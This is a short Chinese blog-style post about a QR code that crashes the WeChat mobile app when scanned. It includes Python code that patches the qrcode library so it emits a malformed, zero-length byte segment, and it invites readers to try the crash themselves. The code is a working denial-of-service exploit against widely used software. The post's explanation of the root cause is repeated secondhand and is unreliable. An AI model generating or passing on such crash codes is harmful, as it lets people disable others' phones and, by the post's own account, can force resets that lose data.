今天发现好多人在发这个bug, 我也跟一下风, 下面的二维码先别扫,移动端打开就会闪退哦
好奇的话尝试一两次就可以了,别尝试次数太多,下面的这个也是
多次尝试会触发微信的安全模式。一些小内存手机甚至需要重置手机才可以。
二维码本质上就是一个url网址,扫码,解析出这个网址并访问。
当然如果不幸打开过,可以尝试用清空聊天记录,或者清空那张图片的方式来避免再次中招,看了一下从事安全朋友们的分析,说是某讯在arm实现的BLAS矩阵库有bug, 导致arm机型在qr识别时,全部中招,鸿蒙无这个问题。
详细代码见文章最后,下面是部分代码。
import qrcode
from qrcode.util import *
def reproduce(self, num, length):
if num == 0:
num = 233
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = reproduce
res = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
modeNumber = QRData('1145141', MODE_NUMBER)
modeByte = QRData(b'.', MODE_8BIT_BYTE)
hackByte = QRData(b'', MODE_8BIT_BYTE)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(hackByte)
res.make_image().show()
欢迎关注微信公众号:小生听雨园